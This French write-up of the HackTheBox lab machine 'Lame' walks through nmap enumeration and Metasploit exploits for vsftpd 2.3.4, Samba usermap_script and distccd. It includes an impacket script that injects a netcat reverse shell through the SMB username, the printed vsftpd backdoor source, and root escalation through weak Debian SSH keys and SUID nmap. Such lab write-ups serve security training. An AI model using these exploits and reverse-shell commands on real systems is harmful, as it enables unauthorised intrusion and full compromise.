Aller au contenu principal

HACKTHEBOX - LAME

Lien : https://app.hackthebox.eu/machines/Lame

Note : C'est la toute première machine de HackTheBox

Enumeration

Output nmap
nmap -sC -sV lame.hackthebox.gr

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn?
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h30m21s, deviation: 3h32m11s, median: 18s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
|[.docusaurus](..%2F..%2F..%2F..%2F.docusaurus) FQDN: lame.hackthebox.gr
|_ System time: 2023-02-08T03:50:36-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.35 seconds

On remarque un serveur FTP (avec une version assez ancienne) et un serveur Samba

SMB et Samba

SMB est un protocole propriétaire developpé par Microsoft pour permettre le parage de fichiers et d'autres fonctionnalités

SAMBA quant à lui est une implémentation libre de ce protocole qui permet d'utiliser le protocole SMB avec des machines windows. On parlera de serveur SAMBA pour désigner un serveur linux qui utilise le protocole SMB.

Exploitation

Exploitation FTP

La version de vsftp est assez obsolète : 2.3.4 . On peut regarder pour un exploit :

Output searchsploit
searchsploit vsftp                             

---------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
**vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py**
vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
---------------------------------------------- ---------------------------------

Un exploit est disponible pour cette version !

msf6 > search vsftpd 2.3.4

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

On utilisera donc metasploit :

[*] Exploit completed, but no session was created.

L'exploit semble avoir marché mais pas de session obtenue. Cela est peut être du à un firewall interne qui bloquerait le reverse shell ?

Exploitation SMB

smbclient --no-pass -L //lame.hackthebox.gr
Output smbclient
Anonymous login successful

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

Server Comment
--------- -------

Workgroup Master
--------- -------
WORKGRO

On liste le share tmp et $print :

Output smbclient
smb: \> dir
. D 0 Wed Feb 8 09:58:41 2023
.. DR 0 Sat Oct 31 08:33:58 2020
.ICE-unix DH 0 Wed Feb 8 09:50:00 2023
vmware-root DR 0 Wed Feb 8 09:50:31 2023
.X11-unix DH 0 Wed Feb 8 09:50:26 2023
5579.jsvc_up R 0 Wed Feb 8 09:51:03 2023
.X0-lock HR 11 Wed Feb 8 09:50:26 2023
vgauthsvclog.txt.0 R 1600 Wed Feb 8 09:49:57 2023

On obtient des fichiers, mais rien de bien interessant.

Cependant la version de SMB est assez ancienne -> 3.0.20

Cette version est vulnérable à cet exploit :

Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb

Nous allons utiliser cet exploit avec le framework metasploit

Output metasploit
msf6 exploit(multi/samba/usermap_script) > show options
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LPORT 445
msf6 exploit(multi/samba/usermap_script) > set LHOST tun0
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.16.4:4444
[*] Command shell session 1 opened (10.10.16.4:4444 -> 10.10.10.3:35973) at 2023-07-24 23:34:59 +0200

On obtient un shell root

Plus d'informatios sur ce module metasploit : https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/unix/ftp/vsftpd_234_backdoor

Pour aller plus loin - Exploitation manuelle

Explication du payload FTP

La faille utilisée sur VSFTP est une backdoor implémentée sur la version publique entre le 30 Juin 2011 et le 1er Juillet 2011.

Dans le code github, on peut voir le code implémenté de la backdoor :

else if((p_str->p_buf[i]==0x3a)
&& (p_str->p_buf[i+1]==0x29))
{
vsf_sysutil_extra();
}

Ici on voit que la fonction vsf_sysutil_extra(); est appelée si l'enchaînement de caractères :) est détecté dans la requête FTP.

La fonction vsf_sysutil_extra(); est définie dans le fichier sysdeputil.c :

{
int fd, rfd;
struct sockaddr_in sa;
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) //Si la création du socket échoue, alors quitter le programme
exit(1);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET; //AF_INET correspond à la famille d'adresse IPv4. Seule une IPv4 pourra intéragir avec le socket
sa.sin_port = htons(6200); //Ici on spécifie le port d'écoute du socket
sa.sin_addr.s_addr = INADDR_ANY; //Enfin, on spécifie l'adresse IP d'écoute du socket (ici toutes les IP de toutes les interfaces)
if((bind(fd,(struct sockaddr *)&sa,
sizeof(struct sockaddr))) < 0) exit(1);
if((listen(fd, 100)) == -1) exit(1); // Mise en écoute du socket
for(;;) //Ce for explicite que le programme va tourner en boucle indéfiniment
{
rfd = accept(fd, 0, 0); //Accepte une connexion entrante
close(0); close(1); close(2);
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/sh","sh",(char *)0); //Remplace le processus actuel par un shell, qui permettera à l'attaquant d'intéragir avec le reverse shell
}
}
Exploit FTP

Probablement que derrière, il y a un firewall interne afin d'éviter l'apparition du reverse shell, sans pour autant indiquer que l'exploit ne serait pas possible. Si l'exploit aurait été possible, des personnes auraient vu le port 6200 en écoute, et auraient pu se connecter directelent

Donc, pour l'exploitation manuelle de cette backdoor, il aurait suffi.....d'insérer un :) dans le username :)

Plus d'informations ici : https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

Explication du payload Samba

La faille utilisée sur Samba est une faille de type RCE (Remote Code Execution) qui permet d'exécuter du code arbitraire sur la machine cible.

Cette faille est présente sur les versions de Samba 3.0.20 à 3.0.25rc3. Elle correspond a la CVE-2007-2447

info

Cette faille requiert une mauvaise configuration côté serveur, à savoir le champ username map script doit être configuré comme enabled

Cette dernière consiste à executer du code dans le username donné, avec ce format :

'/=`nohup [command]`'

Malheureusement, SMBClient formatte le username, et par conséquent ne nous permet pas de réaliser l'exploit.

Cependant, nous pouvons utiliser la librairie python impacket pour pouvoir réaliser l'exploit.

from impacket import smb

def send_smb_logon_packet(username, password, target_ip):

smb_client = smb.SMB(target_ip, target_ip)

smb_client.login(username, password)

if __name__ == "__main__":
target_ip = "10.10.10.3"
username = "`nohup nc -e /bin/sh 10.10.16.4 8080`"
password = ""

try:
send_smb_logon_packet(username, password, target_ip)
print("Login success")
except Exception as e:
print(f"Fail : {str(e)}")

Résultat :

Shell 1 :

Shell 2 :

Output des 2 shells
python scapy_smb.py
Failed to send SMB logon packet: The NETBIOS connection with the remote host timed out.

Shell 2 :

nc -nlvp 8080
listening on [any] 8080 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.3] 45693

Cependant notre shell n'est pas "stabilisé". Cela veut dire que si nous faisons un Ctrl+C, nous quittons notre terminal. Voici comment stabiliser un shell :

Premièrement, vérifiez bien que vous avez python d'installé :

which python
/usr/bin/python

Ensuite, vous pouvez faire cette commande afin d'avoir un shell :

python -c "import pty; pty.spawn('/bin/bash')"
root@lame:/#

Enfin, il nous faut indiquer a notre terminal de ne pas interpréter les charactères envoyés, et de les envoyer directement au shell. Pour cela, nous allons utiliser la commande stty

Ctrl+Z pour mettre le netcat en arrière plan
stty raw -echo && fg
export TERM=xterm-256-color

Pour résumer :

Vous voila avec un terminal totalement utilisable, avec l'autocompletion et les couleurs.

Une fois loggué, on remarque que le champ username map script est bien configuré avec un script :

username map script = /etc/samba/scripts/mapusers.sh

Ce script est par ailleurs vide.

Nouveau chemin : Via distccd

Lors du scan nmap initial, nous n'avons scanné que les 1000 ports les plus communs. Or, un port était ouvert et vulnérable mais ne figurait pas dans le scan initial :

Output du scan nmap
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
| distcc-cve2004-2687:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://distcc.github.io/security.html
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Ce port correspond au service distcc, qui d'ailleurs est vulnérable à la cve-2004-2687 qui à pu être exploitée par le scan nmap.

DistCC

DistCC est un service de compilation distribuée qui permet aux utilisateurs de répartir les tâches de compilation sur plusieurs machines d'un réseau, accélérant ainsi le processus de construction de projets logiciels.

Lorsque vous compilez un projet en utilisant DistCC, le client DistCC envoie les fichiers sources et les informations de compilation à travers le port TCP spécifié vers le démon DistCC sur la machine de compilation distante. Le démon DistCC traite ensuite les tâches de compilation en utilisant la puissance de calcul de la machine distante et renvoie les résultats au client.

Pour exploiter cette faille nous allons utiliser metasploit, notamment car l'exploit en C est assez commplexe, et sera fait dans le futur.

msf6 exploit(unix/misc/distcc_exec) > search DistCC
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution

On peut donc utiliser l'exploit exploit/unix/misc/distcc_exec

msf6 exploit(unix/misc/distcc_exec) > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set payload /cmd/unix/generic
payload => cmd/unix/generic

msf6 exploit(unix/misc/distcc_exec) > show options

RHOSTS 10.10.10.3 yes The target host(s), see https://docs.metasploit.com/docs/using-meta
sploit/basics/using-metasploit.html
RPORT 3632 yes The target port (TCP)


Payload options (cmd/unix/generic):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute

Payload metasploit

Quand vous utilisez metasploit, toujours préférer le payload /cmd/unix/generic. En effet, ce payload est un payload générique qui permet d'exécuter n'importe quelle commande sur la machine cible.

Vous avez notamment plus de contrôle par rapport au payload par défaut, qui est le reverse bash (qui est un payload qui permet d'ouvrir un shell bash sur la machine cible).

On renseeigne les données nécéssaires :

msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3

msf6 exploit(unix/misc/distcc_exec) > set CMD nc -e /bin/sh 10.10.16.4 4444
CMD => nc -e /bin/sh 10.10.16.4 4444

msf6 exploit(unix/misc/distcc_exec) > run

Pour résumer :

Dans l'autre terminal :

Output du shell
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.3] 48639
whoami
daemon

Nous avons donc accès a un autre compte, nommé daemon

Privilege escalation via le compte daemon

La box étant assez ancienne, et par souci de simplicité, nous allons écarter les exploit kernel.

Mauvaises permissions clés ssh root

Avec un linpeas, on trouve cela :

-rw-r--r-- 1 root root 405 May 17  2010 /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

Ce qui m'intrigue, c'est que le user est msfadmin@metasploitable. OpenSSH serait t-il vulnérable ?

Dans mes recherches, je tombe sur cet article : https://pentest.tonyng.net/metasploitable-ssh-exploits/

Ce dernier me parle de clés ssh présentes dans le fichier "authorized_keys". Ce dernier aussi mentionne l'user msfadmin

En allant plus loin, je tombe sur ce github : https://github.com/g0tmi1k/debian-ssh

Ce dernier parle également de clé ssh faibles, mais surtout cette phrase qui m'appelle :

All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected.

Maintenant, nous avons 2 manières de procéder :

  1. Via bruteforce

Il est possible d'utiliser un module metasploit afin de "bruteforcer" ces clés ssh :

msf6 exploit(unix/misc/distcc_exec) > use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 10.10.10.3
set USERNAME root
set KEY_PATH debian-ssh/common_keys/rsa/2048/
run

Cependant, cette méthode coute beaucoup de temps, et n'est pas forcément efficace. Utiliser cette technique si vous n'avez pas accès aux clés autorisées

  1. Via la méthode du repo github (recommandée)

Pour cela, il nous faut la signature de la clé autorisée :

ssh-keygen -l -f /root/.ssh/authorized_keys
2048 57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a /root/.ssh/authorized_keys
On concatène la signature : 57c3115d77c56390332dc5c49978627a

Puis rechercher la clé correspondante dans le repo :

find . -type f -name "*57c3115d77c56390332dc5c49978627a*"
./57c3115d77c56390332dc5c49978627a-5429
./57c3115d77c56390332dc5c49978627a-5429.pub

Puis ensuite il est possible de se connecter :

ssh -oHostKeyAlgorithms=+ssh-rsa  -i 57c3115d77c56390332dc5c49978627a-5429 [email protected]
Problème avec ancienne version SSH

Je ne pouvais malheureusement pas me connecter via ma kali, car la version de ssh dans la box était trop ancienne, et les protocoles de chiffrements trop obsolètes.

Pour remédier à cela, on peut uploader les clés publiques et privées correspondantes, puis se connecter via le reverse shell :

wget 10.10.16.4/57c3115d77c56390332dc5c49978627a-5429
wget 10.10.16.4/57c3115d77c56390332dc5c49978627a-5429.pub
chmod 600 57c3115d77c56390332dc5c49978627a-5429
chmod 600 57c3115d77c56390332dc5c49978627a-5429.pub

ssh -i 57c3115d77c56390332dc5c49978627a-5429 [email protected]
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes

root@lame:~#

SUID sur nmap

SUID

SUID signifie Set User ID. C'est un bit qui peut être appliqué sur un fichier. Ce bit permet d'exécuter le fichier avec les droits de son propriétaire.

Dans le cas suivant, son propriétaire étant root, nous pouvons utiliser nmap en tant que root.

Pour identifier un programme avec le bit SUID, vous pouvez utiliser la commande find / -perm -u=s -type f 2>/dev/null

Un programme avec le bit SUID aura les permissions suivantes :

rwsr-xr-x root root

On remarque avec linpeas que nous avons les droits SUID sur nmap. A l'aide de sa page associée dans GTFO Bins (https://gtfobins.github.io/gtfobins/nmap/), on trouve 2 moyens de faire une escalation de privilèges :

  1. En utilisant le mode intéractif de nmap

Output
daemon@lame:/tmp$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap>
Bogus command -- press h <enter> for help
nmap> !sh


sh-3.2# whoami
root
  1. En utilisant un script "fait maison"

Output
daemon@lame:/tmp$ echo 'os.execute("/bin/sh")' > scriptnmap.sh
daemon@lame:/tmp$ nmap --script=scriptnmap.sh 127.0.0.1

SCRIPT ENGINE: Warning: Loading './scriptnmap.sh' - the recommended file extension is '.nse'.
sh-3.2# whoami
root